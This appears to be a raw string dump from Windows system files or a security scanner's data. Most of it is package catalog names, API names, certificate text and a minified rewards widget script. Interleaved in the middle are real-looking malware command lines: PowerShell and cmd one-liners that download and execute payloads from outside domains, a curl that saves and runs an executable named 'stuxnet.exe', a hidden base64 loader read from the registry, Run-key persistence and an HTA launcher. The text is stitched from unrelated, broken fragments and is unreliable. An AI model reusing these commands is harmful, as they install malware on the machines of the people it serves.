wow64_microsoft-windows-a..iocorepolicym
C:\WINDOWS\s
)P6AJAEBUInstalledWordBreaker@Text@Data@Windows@@PEAPEAUI'
WINDOWS.UI.XAML.DEPENDENCYPROPERTY
COM.MICROSOFT.WINDOWS.EXTENSIONPACKAGE
C:\WINDOWS\Installer\{CA0D899F-C5C7-4C11-BEF9-83625FEF2C51}\y
wow64_microsoft-windows-d..usmanager.resources_31bf3856ad364e35_en-us_dd159dac7c498739
wow64_microsoft-windows-d..utilities.resources_31bf3856ad364e35_en-us_6b7dd6bfe61d7c12
wow64_microsoft-windows-d..vdsupport.resources_31bf3856ad364e35_en-us_c48f61cc765a77d0
wow64_microsoft-windows-d..w-capture.resources_31bf3856ad364e35_en-us_acb0f820a36f3ee1
wow64_microsoft-windows-d..w-kernelsupportuser_31bf3856ad364e35_none_6e36ba8e012a78cb
wow64_microsoft-windows-d..x-directxdiagnostic_31bf3856ad364e35_none_f550e375c048ee0b
wow64_microsoft-windows-d..xinput1_4.resources_31bf3856ad364e35_en-us_68e37705b8fc9750
c:\windows\
:8},{"id":"P~Microsoft.OutlookforWindows_8wekyb3d8bbwe
N13416077656,"id":"P~Microsoft.WindowsAlarms_8wekyb3d8bbwe!App"},{"hasUserInteracted":false,"l
Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package03~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Composition-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Management-SecureAssessment-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|.1.cat|Microsoft-Windows-IIS-WebServer-AddOn-ServerCommon-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.6584.cat|Microsoft-Windows-IIS-WebServer-ServerCommon-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|Microsoft-Windows-IIS-WebServer-ServerCommon-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.6584.cat|ge~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|
Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Foundation-Win0-WOW64-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Media-Player-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-NetFx-Shared-WCF-MsmqActivation~31bf3856ad364e35~amd64~~10.0.26100.1.cat|
Microsoft-Windows-Client-Desktop-Required-Package03~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package011~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-Package011~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-IIS-WebServer-AddOn-2-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-IIS-WebServer-AddOn-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-IIS-WebServer-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Kernel-Package-HardwareAccelerators-ClassExtension-Package~31bf3856ad364e35~amd64~~10.0.26100.3037.cat|
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~en-US~10.0.26100.1000.cat|Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~en-US~10.0.26100.7309.cat|Microsoft-Windows-Printing-InternetPrinting-Client-Opt-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|
Microsoft-Windows-Printing-PrintToPDF-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Printing-PrintToPDF-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Security-SPP-Component-SKU-Enterprise-License-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Security-SPP-Component-SKU-CloudEdition-License-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Security-SPP-Component-SKU-Education-License-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Security-SPP-Component-SKU-Enterprise-License-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Security-SPP-Component-SKU-Professional-License-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Security-SPP-Component-SKU-ProfessionalCountrySpecific-License-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Security-SPP-Component-SKU-ProfessionalEducation-License-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Security-SPP-Component-SKU-ProfessionalSingleLanguage-License-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Security-SPP-Component-SKU-ProfessionalWorkstation-License-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-OneCore-Connectivity-UsbHost-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-CoreSystem-DXG-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-GroupPolicy-ClientExtensions-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
.?AU?$root_implements@UUseViewManager@factory_implementation@RNSVG@winrt@@UIActivationFactory@Foundation@Windows@4@@impl@winrt@@
.?AU?$producer@UUseViewManager@factory_implementation@RNSVG@winrt@@UIActivationFactory@Foundation@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UUseViewManager@factory_implementation@RNSVG@winrt@@UIActivationFactory@Foundation@Windows@4@X@impl@winrt@@
.?AU?$producers_base@UUseViewManager@factory_implementation@RNSVG@winrt@@V?$tuple@UIActivationFactory@Foundation@Windows@winrt@@@std@@@impl@winrt@@
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package041820~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~en-US~10.0.26100.7623.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package010~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-msmq-runtime-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat|
Microsoft-Windows-Multimedia-MF-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1000.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|
Microsoft-Windows-Wifi-Client-Realtek-Rtl8192se-FOD-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Wifi-Client-Realtek-Rtl8192se-FOD-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
-noprofile-windowstylehidden\
drive%\windows\
^windows.appExtens
bd^windows.protocolh
^windows.a
%SystemRoot%/System32/drivers/vmusbmouse.syse
C:\WINDOWS\System32\drivers\monitor.sys[MonitorWMI]
').invoke($null,[object[]]('c:\windows\microsoft.net\framework\v2.0.50727\regasm.exe',$
Microsoft.Windows.NarratorQuickStart_8wekyb3d8bbweC
Microsoft.Windows.ParentalControls_cw5n1h2txyewy
GetWindowsDirectoryA
GetWindowsDirectoryW
Windows.Storage.dll
api-ms-win-core-windowserrorreporting-l1-1-1.dll
api-ms-win-core-windowserrorreporting-l1-1-2.dll
api-ms-win-core-windowserrorreporting-l1-1-0.dll
api-ms-win-core-windowserrorreporting-l1-1-3.dll
GetLargestConsoleWindowSize
SetProcessWindowStation
SetWindowStationUser
SetWindowsHookA
SetWindowsHookExA
SetWindowsHookExAW
SetWindowsHookExW
SetWindowsHookW
TileChildWindows
TileWindows
UnhookWindowsHook
UnhookWindowsHookEx
UnlockWindowStation
NtUserCloseWindowStation
NtUserEnableWindowShellWindowManagem4
NtUserSetWindowStationUser
NtUserUpdateWindows
NtUserCreateWindowStationEx
NtUserCreateWindowStation
NtUserOpenWindowStation
NtUserUnhookWindowsHook
NtUserDisableProcessWindowsGhosting
GetSystemWindowsDirectoryW
S^CreateDirectoryAS^CreatePipeS^CreateProcessAS^ReadFileS^TerminateProcessS^TerminateThreadS^GetWindowsDirectoryAS^MoveFileAS^MapViewOfFileS^UnmapViewOfFileS^Ws2_32.dllS^WSAStartupS^HeapAllocS^HeapReAllocS^HeapFreeS^GetModuleFileNameAS^DeleteFileAS^CreateMutexAS^CreateThreadS^CreateFileAS^GetFileSizeS^LockFileS^WaitForSingleObjectS^ReleaseMutexS^UnlockFileS^CloseHandleS^OpenFileMappingAS^CreateFileMappingAS^InitializeCriticalSection
Microsoft.Windows.WebDefense.SmartScreen
Microsoft.Windows.Webdefense.SmartScreen
\windows\system32\windowspowershell\v1.0\powershell.execurl-urihttp://
=\windows\system32\cscript.exe".\.__macos__\.__macos__\.__macos__\.__macos1__\
c:\windows\system32\cmd.exe/cstart\\xcat.loca
Microsoft.Windows.TlgAggregateInternal
Yhttp://www.microsoft.com/pkiops/crl/Microsoft%20Windows%20Code%20Signing%20PCA%202024.crl0w
[http://www.microsoft.com/pkiops/certs/Microsoft%20Windows%20Code%20Signing%20PCA%202024.crt0
'Microsoft Windows Code Signing PCA 2024
'Microsoft Windows Code Signing PCA 20240
'Microsoft Windows Code Signing PCA 20240
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
<!doctypehtml><html><head><hta:applicationicon="#"windowstate="normal"showintaskbar="no"sysmenu="no"caption="no"border="none"scroll="no"/><scripttype="text/vbscript">
c:\windows\system32\openssh\ssh.exe-oproxycommand="powershellpowershell('http:mshtartsfinancal.comtest1.mp4'|convert-string-e'12345=231//4/5')".
.txt'-outfile$env:appdata\berok.exe;start-process-filepath$env:appdata\berok.exe-windowstylehidden
c:\windows\system32\cmd.exe"/ccopy/b\\38.180.136.158@80\
 software\microsoft\windows\currentversion\internetsettingsproxyenable-value
-noprofile-windowstylehidden-executionpolicybypassiex([text.encoding]::ascii.getstring([convert]::frombase64string((gp'hkcu:\software\classes\
<$([environment]::username)\\appdata\\roaming\\microsoft\\windows\\'startmenu'\\programs\\startup\\
("%g-windowstylehidden-c(new-objectnet.webclient).downloadstring('https://1cbit-dev.com/terminals/kernel/delta/
2.html')")do%g-windowstylehidden"%j"
oc:\windows\system32\windowspowershell\v1.0\powershell.exe-noprofile-executionpolicybypass-command"&{iwr-usebasicparsing'https://paste.ee/r/
zPc:\windows\system32\windowspowershell\v1.0\powershell.exe-commandiex(iwr-usebasicparsing'https://ecare.md/wp-content/uploads/2018/03/f27p5l12th.ps1')
c:\windows\system32\cmd.exe/crobocopy"\\now-refer-several-tariff.trycloudflare.com@ssl\davwwwroot\re_28wsf"%temp%jaja.wsf/ns/nc/nfl/ndl>nul&start/min
bc:\windows\system32\cmd.exe/cmode15,1&curlhttps://ryaneagle.com/wp-content/themes/seotheme/windows7.exe-o%temp%\stuxnet.exe&start/b%temp%\stuxnet.exe
c:\windows\system32\cmd.exe/v/k"
c:\windows\system32\cmd.exe/cpowershell-windowstylehidden-commandinvoke-webrequest-uri"https://luckysalee.shop/
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 2011
FakeIUnknownTryAddTokenPrivfakeIUnknownPtrfakeIUnknownVtblPtrTryTakeTokencreateProcessReadOutcreateProcessInteractiveWindowsImpersonationContext8
SOFTWARE\Policies\Microsoft\Windows Defender
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
:\projetos\wga windows\pocarrontas\
.+:\\Projetos\\WGA Windows\\pocarrontas\\.+\\pocarrontas.pdb
care\microsoft\windows\currentversion\run\"&"ooods",bomlocal+"clear.bat"wscript.sleep1500setobjshell=createobject("
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package07~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Foundation-Win0-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Foundation-Win0-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-IIS-WebServer-ServerCommon-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|Microsoft-Windows-IIS-WebServer-ServerCommon-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.6584.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|
Microsoft-Windows-Client-Desktop-Required-Package04102030~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Network-Security-Core-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|Package_4_for_KB5066128~31bf3856ad364e35~amd64~~10.0.9321.3.cat|.26100.1742.cat|Microsoft-Windows-Client-Features-Package07~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Composition-WOW64-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|
Microsoft-Windows-Foundation-Win0-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Foundation-Win0-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-IIS-WebServer-AddOn-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-IIS-WebServer-ServerCommon-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|Microsoft-Windows-IIS-WebServer-ServerCommon-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.6584.cat|
Microsoft-Windows-MonthlyBundles-26200-EKB-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|
Path=C:\WINDOWS\system32;
Microsoft.Windows.TlgAggregateInternal
f.current.className=i?"light":"";const e={balance:n,shouldShowZero:!0,lightZeroRing:!0,slim:u,showRedDot:r,adjacentRedDot:!0,gainingPointsAnimationEnabled:!1,previousBalance:0,navUrl:t,isWindows10:!i,flyoutIdSelector:"rewardsFlyoutContainer"};f.current.dataset.content=h(e)}e.current&&!e.current.contains(f.current)&&e.current.appendChild(f.current);!f.current.dataset.initialized&&window.RewardsWidget&&window.RewardsWidget.init&&(window.RewardsWidget.init(),f.current.dataset.initialized="true")},[]),React.useEffect(()=>{window.RewardsWidget&&window.RewardsWidget.update&&window.RewardsWidget.update({medallion:{content:{balance:n,showRedDot:r,slim:u}}})},[n,u,r]),React.createElement("div",{className:"scope-tile__button flexbox",ref:e})},e=({displayBalance:u,shouldShowRewardBalance:o,rewardsDisplayBalWidth:e,useRewardsBalanceTextOverride:h,badgeFillupPercentage:i,showNotification:s,lightMedallion:f,badgeIconVersion:r="v1"})=>{let c="";h&&(c=n.Host.getWindowsTheme()==2?"sweepstakesBadgeDarkMode":"sweepstakesBadge");const v=r==="v2"?a:l;return React.createElement("div",{className:"scope-tile__button"},o&&React.createElement("span",{style:{width:e,fontWeight:h?"bold":"normal",textAlign:h&&!n.isRtl()?"right":"initial"}},u),f?React.createElement(t.Icon,{icon:{content:"&#xED4E",type:2}}):React.createElement(v,{badgeFillupPercentage:i,isGivingBadge:!1}),(s||h)&&React.createElement("div",{id:"RewardsNotification",className:`${c} rewardsNotification`,"data-partnertag":t.whenTestHooks("AutoSuggest.MicrosoftRewardsBadgeNotification")}))};class c extends React.Component{constructor(n){super(n);this.state={displayBalance:0,initialBalance:0,targetBalance:0,elapsedTime:0,rewardsDisplayBalWidth:undefined,useRewardsBalanceTextOverride:!1}}getRewardsBalContainerWidth(t){return this.state.useRewardsBalanceTextOverride?u:n.RuntimeConfig.AlwaysWide&&n.config.useCobaltCSS?t>=1e5?50:t>=1e4?40:t>=1e3?35:t>=100?30:t>=10?20:t>=0?10:undefined:undefined}rewardsScopeStyling(n){var t,i;return this.state.useRewardsBalanceTextOverride?u:((i=(t=this.props)===null||t===void 0?void 0:t.dynamicStyleSizeBigger)===null||i===void 0?void 0:i.scopeMinwidth)?this.props.dynamicStyleSizeBigger.scopeMinwidth:n}increaseBalance(){this.setState(n=>{const t=n;if(t.elapsedTime=Math.min(i,t.elapsedTime+r),n.elapsedTime==i)t.displayBalance=t.targetBalance,clearInterval(t.timer),t.timer=null;else{let r=t.elapsedTime/i;t.displayBalance=Math.floor((1-r)*n.initialBalance+r*n.targetBalance)}return t})}onInitOrUpdateLegacy(){const{balance:n,useRewardsBalanceTextOverride:t}=this.props.dataModel;(this.state.useRewardsBalanceTextOverride||n!=this.state.targetBalance)&&this.setState(i=>{var f;const u=i;return u.rewardsDisplayBalWidth=this.getRewardsBalContainerWidth(n),u.initialBalance=i.displayBalance,u.elapsedTime=0,u.useRewardsBalanceTextOverride=t&&typeof((f=SearchAppWrapper===null||SearchAppWrapper===void 0?void 0:SearchAppWrapper.CortanaApp)===null||f===void 0?void 0:f.textScaleFactor)!="undefined"&&SearchAppWrapper.CortanaApp.textScaleFactor<=s,u.targetBalance=u.useRewardsBalanceTextOverride?o:n,u.timer||(u.timer=setInterval(()=>this.increaseBalance(),r)),u})}componentDidMount(){n.config.isRewardsWidgetEnabled||this.onInitOrUpdateLegacy()}componentDidUpdate(t){n.config.isRewardsWidgetEnabled||this.props.dataModel.balance==t.dataModel.balance||this.onInitOrUpdateLegacy()}render(){var u,o;const{balance:l,click:a,instItem:v,badgeFillupPercentage:y,showNotification:c,dashboardUrl:p}=this.props.dataModel,{displayBalance:s,targetBalance:w,rewardsDisplayBalWidth:b,useRewardsBalanceTextOverride:h}=this.state,k=n.config.rewFly?"rewardsFlyout":null,d=this.rewardsScopeStyling(b);let r=s.toString();if(h){try{r="$"+s.toLocaleString(n.uiLanguageCache)}catch(nt){r="$"+s.toLocaleString()}n.InstrumentationHelper.logClientInstEvent("ClientInst","RewardsSweepstakesBadgeTriggered")}const i=h?r:t.getLocString("MicrosoftRewardsBadgeBalance",`${w}`),g=n.config.isRewardsWidgetEnabled?React.createElement(f,{balance:l,slimMedallion:!this.props.shouldShowRewardBalance,lightMedallion:n.config.useCobaltCSS,s_
-MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy!Global.Feedback
.MicrosoftWindows.Client.FileExp_cw5n1h2txyewy!PackageMetadata
+MicrosoftWindows.Client.OOBE_cw5n1h2txyewy!PackageMetadata
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.IrisService
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.PeopleExperiencePlatform
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.PersonaCardManager
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.WindowsPersonaCard
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.RulesEngine
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!CortanaUI
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!CortanaUIFullTrustApp
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!FESearchUI
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!SoftLanding
